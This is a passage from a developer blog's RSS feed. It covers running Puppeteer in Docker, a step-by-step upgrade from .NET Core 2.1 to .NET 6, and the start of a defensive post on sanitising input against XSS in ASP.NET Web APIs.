RUN dotnet restore "MyApplication.API/MyApplication.API.csproj"
COPY . .
WORKDIR "/src/MyApplication.API"
RUN dotnet build "MyApplication.API.csproj" -c Release -o /app/build

FROM build AS publish
RUN dotnet publish "MyApplication.API.csproj" -c Release -o /app/publish

FROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "MyApplication.API.dll", "--environment", "Docker"]

# Install node and npm
RUN apt-get update
RUN apt-get install nodejs=12.22.5~dfsg-2~11u1 -y
RUN apt-get install npm=7.5.2+ds-2 -y
ENV NODE_ENV=production

# Install node modules for reports
WORKDIR "/app/Reports/jsreport"
RUN npm install

# Set the directory back so dotnet is able to run the application
WORKDIR "/app"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basically I load the ASP.NET 6 base image, build the solution, publish it, install require node modules and set the &lt;code&gt;dotnet&lt;/code&gt; program as the entry point of the container.&lt;/p&gt;

&lt;p&gt;Then I build an image using &lt;code&gt;docker build -t myimage -f ./MyApplication.API/Dockerfile .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note that in order for the build step in the docker file to work, the image has to be created at the solution level and not the project level - since all of the projects need to be built. Hence why I’m using the solution directory when we build the image.&lt;/p&gt;

&lt;p&gt;Then I run a container using &lt;code&gt;docker run -p 127.0.0.1:80:80/tcp myimage&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So far so good! But after invoking one of the reports yields an internal server error.&lt;/p&gt;

&lt;h3&gt;
  
  
  Show me the errors!
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--H_Mc7oyS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/show-me-the-money.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--H_Mc7oyS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/show-me-the-money.jpeg" alt="" width="600" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Well, since this is running under docker (and this is just a hobby app, so I’m using old-school rolling file logs), I actually need to &lt;code&gt;sh&lt;/code&gt; into the container first to see the logs. So first to get the id of the container: &lt;code&gt;docker ps&lt;/code&gt;, and once we have the id of the container: &lt;code&gt;docker exec -it CONTAINER_ID /bin/bash&lt;/code&gt;. Opening the error log reveals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  Jering.Javascript.NodeJS.InvocationException: Failed to launch chrome!
/app/Reports/jsreport/node_modules/puppeteer/.local-chromium/linux-609904/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory

TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

Error: Failed to launch chrome!

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Interesting! Following the link provided and scrolling down to &lt;em&gt;Running Puppeteer under Docker&lt;/em&gt; tells you that we basically need to add a step in our dockerfile to install the necessary libraries (particularly &lt;code&gt;libnss3.so&lt;/code&gt;) in order for headless chrome to run. The dockerfile in their example is a bit verbose with some unnecessary steps, but the real magic is basically just:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Install latest chrome dev package and fonts to support major charsets (Chinese, Japanese, Arabic, Hebrew, Thai and a few others)
# Note: this installs the necessary libs to make the bundled version of Chromium that Puppeteer
# installs, work.
RUN apt-get update \
    &amp;amp;&amp;amp; apt-get install -y wget gnupg \
    &amp;amp;&amp;amp; wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
    &amp;amp;&amp;amp; sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" &amp;gt;&amp;gt; /etc/apt/sources.list.d/google.list' \
    &amp;amp;&amp;amp; apt-get update \
    &amp;amp;&amp;amp; apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
      --no-install-recommends \
    &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And voila! Puppeteer is now working under Docker. Hope this helped someone out, or was at least an interesting read :)&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>docker</category>
    </item>
    <item>
      <title>Upgrading from .NET Core 2.1 to .NET 6.0</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Thu, 30 Dec 2021 05:09:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/upgrading-from-net-core-21-to-net-60-42f1</link>
      <guid>https://dev.to/jasonsultana/upgrading-from-net-core-21-to-net-60-42f1</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Hope you all had a Merry Christmas! Today, since I’m in that strange limbo place between Christmas and New Years, I decided to migrate one of my old hobby projects from .NET 2.1 to .NET 6, and document the experience here. If any of you are perhaps planning on performing a similar upgrade yourself, you might find this a useful read before getting started.&lt;/p&gt;

&lt;h3&gt;
  
  
  If it ain’t broke, don’t fix it?
&lt;/h3&gt;

&lt;p&gt;I guess the first question that must be asked is, so long as the application is working, why bother doing an upgrade at all? It’s a good question, and there are a few reasons for this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Any new code samples or packages that get released from now will likely target the newer .NET version, so we’ll probably have an easier time integrating them if we’re using an up-to-date .NET version, too.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://devblogs.microsoft.com/dotnet/net-core-2-1-will-reach-end-of-support-on-august-21-2021/"&gt;.NET 2.1 reached End-of-support back in August, 2021&lt;/a&gt;. This means that any improvements that get added to newer .NET versions won’t be backported to 2.1. FOMO much?&lt;/li&gt;
&lt;li&gt;If you’re running .NET apps in the cloud (eg: AWS Lambda), your cloud provider may force you to upgrade.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-6/"&gt;.NET 6 is reported to be significantly faster than previous versions.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Which version should I upgrade to?
&lt;/h3&gt;

&lt;p&gt;I think this is a very good question, since there are usually at least 2-3 reasonable choices at any given time. I’d probably recommend looking at the &lt;a href="https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core"&gt;currently supported .NET versions&lt;/a&gt;, take note of when each of them will reach End of Support, and then decide accordingly. I usually opt to choose an LTS (Long-Term-Support) option where possible, so I don’t have to worry about another upgrade for a couple of years, hopefully. Currently, the latest LTS version is .NET 6, which will be supported until November 2024.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing .NET 6
&lt;/h3&gt;

&lt;p&gt;First, let’s find out if you currently have the .NET 6 SDK installed on your machine. An easy way to do this is to run the following in your favourite terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dotnet --list-sdks

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you don’t see an entry for .NET 6, you’ll need to install it. You could do this using Visual Studio, but just in case you happen to be using a different code editor or IDE (vim perhaps?), here’s a &lt;a href="https://dotnet.microsoft.com/en-us/download/dotnet/6.0"&gt;link&lt;/a&gt; where you can download an installer from directly.&lt;/p&gt;

&lt;p&gt;After installing the new SDK, the previous command should now include &lt;code&gt;6.0.101&lt;/code&gt; (or whichever version you just installed).&lt;/p&gt;

&lt;h3&gt;
  
  
  Upgrading projects
&lt;/h3&gt;

&lt;p&gt;After installing the SDK, the next step is to update our &lt;code&gt;TargetFramework&lt;/code&gt; in each &lt;code&gt;csproj&lt;/code&gt; file. If you’re migrating from .NET Core 2.1, this will likely be set to &lt;code&gt;netcoreapp2.1&lt;/code&gt;. Change it in each project to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    &amp;lt;TargetFramework&amp;gt;net6.0&amp;lt;/TargetFramework&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After saving, it’s highly likely that you’ll encounter 1000 errors and every file in your solution will be granted an honorary red squiggly underscore. To fix these issues, we’ll need to start by upgrading your solution packages to .NET 6-compatible versions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Upgrading solution
&lt;/h3&gt;

&lt;p&gt;If you have a &lt;code&gt;global.json&lt;/code&gt; file in your solution, you’ll want to upgrade the &lt;code&gt;sdk&lt;/code&gt; property. Eg:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    "sdk": {
        "version": "6.0.0"
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can read more about &lt;code&gt;global.json&lt;/code&gt; &lt;a href="https://docs.microsoft.com/en-us/dotnet/core/tools/global-json?tabs=netcore3x"&gt;here&lt;/a&gt;. Essentially, this value is just used for CLI tools, but it makes sense to keep this set to the same version as defined in the projects themselves.&lt;/p&gt;

&lt;h3&gt;
  
  
  Upgrading packages
&lt;/h3&gt;

&lt;p&gt;If you’re using Visual Studio (or Rider), right-click on your Solution and click &lt;code&gt;Manage nuget packages&lt;/code&gt;. Specifically, we’re interested in packages which have an update available. You could try upgrading these one at a time starting with the Microsoft packages, or you can just YOLO it and upgrade everything at once, and deal with any issues that arise post-upgrade. Up to you how you prefer to tackle this step. Since this was just a hobby project, I just upgraded all the packages at once.&lt;/p&gt;

&lt;h3&gt;
  
  
  Upgrading MSBuild version in IDE
&lt;/h3&gt;

&lt;p&gt;This step may only be applicable for Rider users. In my case, I needed to upgrade my MSBuild directory under Preferences -&amp;gt; Toolset and build as described &lt;a href="https://newbedev.com/how-to-change-net-framework-in-rider-ide"&gt;here&lt;/a&gt;. You’ll likely want to choose the directory with the highest MSBuild version. Visual Studio users can probably skip this step.&lt;/p&gt;

&lt;p&gt;After completing this step, I noticed the vast majority of my errors disappear. Note that you may also need to clean and rebuild your solution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Microsoft.AspNetCore.App warning
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  Microsoft.NET.Sdk.DefaultItems.Shared.targets(111, 5): [NETSDK1080] A PackageReference to Microsoft.AspNetCore.App is not necessary when targeting .NET Core 3.0 or higher. If Microsoft.NET.Sdk.Web is used, the shared framework will be referenced automatically. Otherwise, the PackageReference should be replaced with a FrameworkReference.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is more of a warning than an error, but it’s still good to address this. Find any existing package reference to &lt;code&gt;Microsoft.AspNetCore.App&lt;/code&gt; and remove it, since it’s now redundant. This will likely be in your top-level API projects.&lt;/p&gt;

&lt;h3&gt;
  
  
  Entity Framework breaking changes
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. builder.UseMySql(string) no longer exists.
&lt;/h4&gt;

&lt;p&gt;This may or may not affect other SQL variants, but the &lt;code&gt;UseMysql(string)&lt;/code&gt; extension method on &lt;code&gt;DbContextOptionsBuilder&lt;/code&gt; now requires a second parameter, which specifies the server version. An easy fix just to get things compiling again is to auto-detect the version. Eg: &lt;code&gt;builder.UseMySql(connectionString, ServerVersion.AutoDetect(connectionString));&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Relational() missing from IMutableProperty
&lt;/h4&gt;

&lt;p&gt;If you were setting an explicit database column type (eg for decimal precision), you may have noticed that &lt;code&gt;Relational()&lt;/code&gt; is missing from &lt;code&gt;IMutableProperty&lt;/code&gt;. You can replace this with a call to &lt;code&gt;SetColumnType(string)&lt;/code&gt; instead.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. String.Format cannot be translated to SQL
&lt;/h4&gt;

&lt;p&gt;In .NET Core 2.1, I had some LINQ-To-SQL queries that looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;await _dbContext.SomeDbSet
    .Where(a =&amp;gt; a.SomeID == id)
    .Select(a =&amp;gt; new
    {
        a.SomeID,
        // ...

        Name = a.NavigationProperty == null ?
            "" :
            $"{a.NavigationProperty.FirstName} {a.NavigationProperty.LastName}"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In .NET 6 (or somewhere along the line), this stopped being supported, so I need to retrieve both values and perform the concatenation in-code after the query results are returned.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Unable to return nested queryables
&lt;/h4&gt;

&lt;p&gt;I had a data structure that looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    private class ListItemsQuery
    {
        public Item Item { get; set; }
        public IQueryable&amp;lt;SubItem&amp;gt; SubItems { get; set; }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in .NET Core 2.1, I was able to return an &lt;code&gt;IQueryable&amp;lt;ListItemsQuery&amp;gt;&lt;/code&gt; which itself contains an &lt;code&gt;IQueryable&amp;lt;SubItem&amp;gt;&lt;/code&gt; property. In .NET 6 though, this was producing the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The query contains a projection '&amp;lt;&amp;gt;h __TransparentIdentifier1 =&amp;gt; &amp;lt;&amp;gt;h__ TransparentIdentifier1.a' of type 'IQueryable&amp;lt;SubItem&amp;gt;'. Collections in the final projection must be an 'IEnumerable&amp;lt;T&amp;gt;' type such as 'List&amp;lt;T&amp;gt;'. Consider using 'ToList' or some other mechanism to convert the 'IQueryable&amp;lt;T&amp;gt;' or 'IOrderedEnumerable&amp;lt;T&amp;gt;' into an 'IEnumerable&amp;lt;T&amp;gt;'.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Changing the nested IQueryable to a List worked fine - though it means that part of the query does need to be materialised earlier than it was before. There were a couple of other complex LINQ queries that needed to be fixed up as well.&lt;/p&gt;




&lt;h3&gt;
  
  
  Swagger breaking changes
&lt;/h3&gt;

&lt;h4&gt;
  
  
  5. Cannot resolve symbol Info
&lt;/h4&gt;

&lt;p&gt;Simply change to &lt;code&gt;OpenApiInfo&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  6. Cannot resolve symbol ApiKeyScheme
&lt;/h4&gt;

&lt;p&gt;Simply change to &lt;code&gt;OpenApiSecurityScheme&lt;/code&gt;. However, the &lt;code&gt;In&lt;/code&gt; and &lt;code&gt;Type&lt;/code&gt; properties also have breaking changes.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;In&lt;/code&gt; was previously a string, and is now a type of &lt;code&gt;ParameterLocation&lt;/code&gt;. Replace the string &lt;code&gt;"header"&lt;/code&gt; with &lt;code&gt;ParameterLocation.Header&lt;/code&gt;.&lt;code&gt;Type&lt;/code&gt; was also previously a string, and is now a type of &lt;code&gt;SecuritySchemeType&lt;/code&gt;. Replace the previous string with &lt;code&gt;SecuritySchemeType.Http&lt;/code&gt;, or other value as appropriate.&lt;/p&gt;

&lt;h4&gt;
  
  
  7. DocExpansion signature change
&lt;/h4&gt;

&lt;p&gt;This changed from a string to a &lt;code&gt;DocExpansion&lt;/code&gt; enum value.&lt;/p&gt;

&lt;h4&gt;
  
  
  8. SwaggerResponse attribute missing
&lt;/h4&gt;

&lt;p&gt;This can simply be replaced with &lt;code&gt;ProducesResponseType&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  9. SwaggerOperation attribute missing
&lt;/h4&gt;

&lt;p&gt;Basically, all of the Swagger-specific attributes were extracted to &lt;code&gt;Swashbuckle.AspNetCore.Annotations&lt;/code&gt;. Often, these aren’t needed and you can get away with just using .NET Core attrubutes (like &lt;code&gt;ProducesResponseType&lt;/code&gt;), but you can install the swashbuckle annotations package if you want to.&lt;/p&gt;




&lt;h3&gt;
  
  
  Startup breaking changes
&lt;/h3&gt;

&lt;h4&gt;
  
  
  10. CorsAuthorizationFilterFactory missing
&lt;/h4&gt;

&lt;p&gt;We can simply remove the Mvc filter.&lt;/p&gt;

&lt;h4&gt;
  
  
  11. CORS Policy changes
&lt;/h4&gt;

&lt;p&gt;If you were using &lt;code&gt;CorsPolicyBuilder&lt;/code&gt; with a very open policy, allowing both a header and credentials, you’ll likely receive something similar to the following exception:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application startup exception: System.InvalidOperationException: The CORS protocol does not allow specifying a wildcard (any) origin and credentials at the same time. Configure the CORS policy by listing individual origins if credentials needs to be supported.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This can be easily resolved by removing either the call to &lt;code&gt;AllowCredentials&lt;/code&gt; or the call to &lt;code&gt;AllowAnyOrigin&lt;/code&gt;, depending on your circumstances. Eg:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    var corsBuilder = new CorsPolicyBuilder();
    corsBuilder.AllowAnyHeader();
    corsBuilder.AllowAnyMethod();
    corsBuilder.AllowAnyOrigin(); 
    //corsBuilder.AllowCredentials();

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  12. IHostingEnvironment obsolete
&lt;/h4&gt;

&lt;p&gt;Simply replace with &lt;code&gt;IWebHostEnvironment&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  13. MVC Changes
&lt;/h4&gt;

&lt;p&gt;Replace &lt;code&gt;AddMvc()&lt;/code&gt; with &lt;code&gt;AddControllers()&lt;/code&gt; (assuming you have an API project). The difference is discussed in a bit more detail &lt;a href="https://www.strathweb.com/2020/02/asp-net-core-mvc-3-x-addmvc-addmvccore-addcontrollers-and-other-bootstrapping-approaches/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You’ll also want to replace your &lt;code&gt;app.UseMvc()&lt;/code&gt; line with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    app.UseRouting();
    app.UseEndpoints(opts =&amp;gt;
    {
        opts.MapControllers();
    });

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is basically for performance reasons, and consistency with newer code samples and practices. &lt;code&gt;UseRouting()&lt;/code&gt; must appear before &lt;code&gt;UseEndpoints()&lt;/code&gt; to avoid an exception on startup.&lt;/p&gt;




&lt;h3&gt;
  
  
  Miscellaneous
&lt;/h3&gt;

&lt;h4&gt;
  
  
  14. NodeServices GONE
&lt;/h4&gt;

&lt;p&gt;It looks like though a lot of developers were using &lt;code&gt;NodeServices&lt;/code&gt; to invoke custom NodeJS logic from C#, the main purpose of &lt;code&gt;NodeServices&lt;/code&gt; was actually for SSR of SPAs served from .NET APIs. Since the landscape of most SPAs has now changed to include command line tooling (eg: Angular, React), &lt;code&gt;NodeServices&lt;/code&gt; has been removed. This is discussed in a bit more detail &lt;a href="https://github.com/dotnet/AspNetCore/issues/12890"&gt;here&lt;/a&gt;. At this stage, it looks like the simplest replacement for &lt;code&gt;NodeServices&lt;/code&gt; is a 3rd-party package called &lt;a href="https://github.com/JeringTech/Javascript.NodeJS"&gt;Javascript.NodeJS&lt;/a&gt;, though it does seem to be well maintained.&lt;/p&gt;

&lt;p&gt;The instead of injecting &lt;code&gt;INodeServices&lt;/code&gt;, you inject &lt;code&gt;INodeJSService&lt;/code&gt;. The API is quite similar, but the internals do have some pretty big differences. In my case, I was using a NodeJS library to render reports, so I was passing in an HTML template string and expecting back a byte array. This doesn’t play well out-of-the-box with Javascript.NodeJS, as it expects the input to be a JSON string. You can get it working, but it does take some tweaking.&lt;/p&gt;




&lt;h4&gt;
  
  
  15. Incompatible packages
&lt;/h4&gt;

&lt;p&gt;So far, only MSBump, though this has since been archived by the project maintainer anyway.&lt;/p&gt;




&lt;h4&gt;
  
  
  16. ServiceFilter stack overflow
&lt;/h4&gt;

&lt;p&gt;Quite similar to &lt;a href="https://github.com/dotnet/aspnetcore/issues/8831"&gt;this post&lt;/a&gt;, I was previously using service filters to create filters that would support controller dependencies. According to the reply from Microsoft, they recommend implementing an &lt;code&gt;IFilterFactory&lt;/code&gt;, but I found that simply removing &lt;code&gt;ServiceFilterAttribute&lt;/code&gt; from the attribute implementation solved the problem. i.e - simply have your attribute implement &lt;code&gt;IAsyncAuthorizationFilter&lt;/code&gt; or &lt;code&gt;IAsyncActionFilter&lt;/code&gt; as needed, without extending &lt;code&gt;ServiceFilterAttribute&lt;/code&gt;, which was the recommended approach in .NET Core 2.1 (or at least it worked in 2.1).&lt;/p&gt;

&lt;h4&gt;
  
  
  17. Model Binding
&lt;/h4&gt;

&lt;p&gt;It looks like numbers can no longer be implicitly deserialised as strings. Eg given the following data model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public class AddressModel
    {
        [StringLength(4)]
        public string PostCode { get; set; } = "";
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the following payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{ "postCode":2145 }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This results in the following 400 response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"type":"https://tools.ietf.org/html/rfc7231#section-6.5.1","title":"One or more validation errors occurred.","status":400,"traceId":"00-9d782bbecbc2107262258e79a7df080e-8d29b1c98b0ea23e-00","errors":{"$.address.postCode":["The JSON value could not be converted to System.String. Path: $.address.postCode | LineNumber: 0 | BytePositionInLine: 151."]}}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks like a side-effect of .NET Core 3 swapping out &lt;code&gt;Newtonsoft.Json&lt;/code&gt; for &lt;code&gt;System.Text.Json&lt;/code&gt; as the default JSON serialiser. Installing &lt;code&gt;Microsoft.AspNetCore.Mvc.NewtonsoftJson&lt;/code&gt; and adding &lt;code&gt;AddNewtonsoftJson()&lt;/code&gt; to your existing &lt;code&gt;AddControllers()&lt;/code&gt; line in &lt;code&gt;Startup::ConfigureServices()&lt;/code&gt; appears to fix this. If you were using .NET Core 2.1, Newtonsoft.Json was the default JSON serialiser then anyway, so it might make sense to keep this consistent anyway just to prevent little issues like this from popping up.&lt;/p&gt;

&lt;p&gt;Anyway, that was pretty much it! It took me about an hour to do the upgrade and then a few hours to fix the issues that cropped up. The biggest breaking change was by far the dropping of Node Services, but there were also some Entity Framework and JSON serialisation changes to be on the look out for. Long story short, the upgrade itself doesn’t take long - but you should be prepared to spend some time catching and fixing little things that broke as a result of the upgrade.&lt;/p&gt;

&lt;p&gt;Have you noticed anything else that broke or changed significantly between .NET Core 2.1 and .NET 6? Let me know in the comments! Have a happy new year, and see you in 2022!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>dotnet</category>
    </item>
    <item>
      <title>Preventing XSS in .NET Core Web Apis</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sat, 25 Sep 2021 23:34:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/preventing-xss-in-net-core-web-apis-j7d</link>
      <guid>https://dev.to/jasonsultana/preventing-xss-in-net-core-web-apis-j7d</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Guess what? If you’re developing an ASP.NET Web API project and haven’t taken steps to protect it against XSS (Cross Site Scripting), then unfortunately you’ve got a security hole on your hands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qfFhl2zD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/hacked.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qfFhl2zD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/hacked.gif" alt="" width="500" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can read more about XSS (and some platform agnostic techniques to prevent it) on the OWASP website &lt;a href="https://owasp.org/www-community/attacks/xss/"&gt;here&lt;/a&gt; and &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"&gt;here&lt;/a&gt;, but long story short, XSS involves your API saving user-submitted data containing malicious HTML or JavaScript, and potentially exposing another endpoint that returns the data as-is. The script that the user submitted then gets returned to the browser of another user and wreaks havoc in some way - potentially defacing your service for them, scraping private data from the page and sending it over the wire, or whatever other nasties they can think of.&lt;/p&gt;

&lt;p&gt;Now, it’s true that most modern browsers and front-end frameworks will often have security mechanisms that prevent rendering untrusted html (eg &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP"&gt;CSP&lt;/a&gt; and Angular’s &lt;a href="https://angular.io/api/platform-browser/DomSanitizer"&gt;DomSanitizer&lt;/a&gt;), but that doesn’t mean we should just delegate the responsibility of security to the front-end; the API plays a part in this as well, and ought to be secured.&lt;/p&gt;

&lt;h4&gt;
  
  
  Hold up, doesn’t ASP.NET take care of this for us?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xqjmKcPy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/on-your-own.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xqjmKcPy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/on-your-own.jpg" alt="" width="600" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It used to (to a certain extent), so I’d forgive you for thinking this was the case. As described on the &lt;a href="https://owasp.org/www-community/ASP-NET_Request_Validation"&gt;OWASP website&lt;/a&gt;, ASP.NET used to come with a &lt;em&gt;Request Validation&lt;/em&gt; feature that was enabled by default for Web Forms (remember those!) and MVC projects, but this has never been supported for Web API projects. For the life of me I haven’t been able to find &lt;strong&gt;why&lt;/strong&gt; , so if you do happen to know - please let me know in the comments. The sad fact is that nowadays the vast majority of ASP.NET applications are likely to be APIs, so it’s a shame that &lt;em&gt;Request Validation&lt;/em&gt; is no longer available for us. When it comes to preventing XSS, we’re on our own.&lt;/p&gt;

&lt;h4&gt;
  
  
  Well, crap. What do we do now?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LU-1Yu6D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/what-do-we-do-now.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LU-1Yu6D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/what-do-we-do-now.jpg" alt="" width="600" height="707"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are basically two approaches you can take with XSS; either sanitise (or reject) the input, and/or encode the output.&lt;/p&gt;

&lt;p&gt;One very reputable package that’s recommended for sanitisation is &lt;a href="https://github.com/mganss/HtmlSanitizer"&gt;HtmlSanitizer&lt;/a&gt;, which is even listed on the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"&gt;OWASP website&lt;/a&gt;. Basic usage looks something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sanitiser (yep, that’s how I’m spelling it) can be configured with a whitelist of supported attributes and tags and then invoked to strip attributes and tags that aren’t whitelisted from the source string. While this library is a pretty much unanimously recommended package, out-of-the-box it does mean that you need to sanitise each field individually.&lt;/p&gt;

&lt;h4&gt;
  
  
  You’re kidding, right?
&lt;/h4&gt;

&lt;p&gt;Sadly, no. There are some approaches you can take to have the sanitiser run on every request, but as far as I’ve seen, there isn’t any built-in support for this by ASP.NET or by the package itself. I’ll show you a couple of samples for this, but you can download and run the entire sample project by &lt;a href="https://github.com/jasonsultana/dotnet-webapi-xss-sample"&gt;cloning it from github&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  JSON Converter
&lt;/h4&gt;

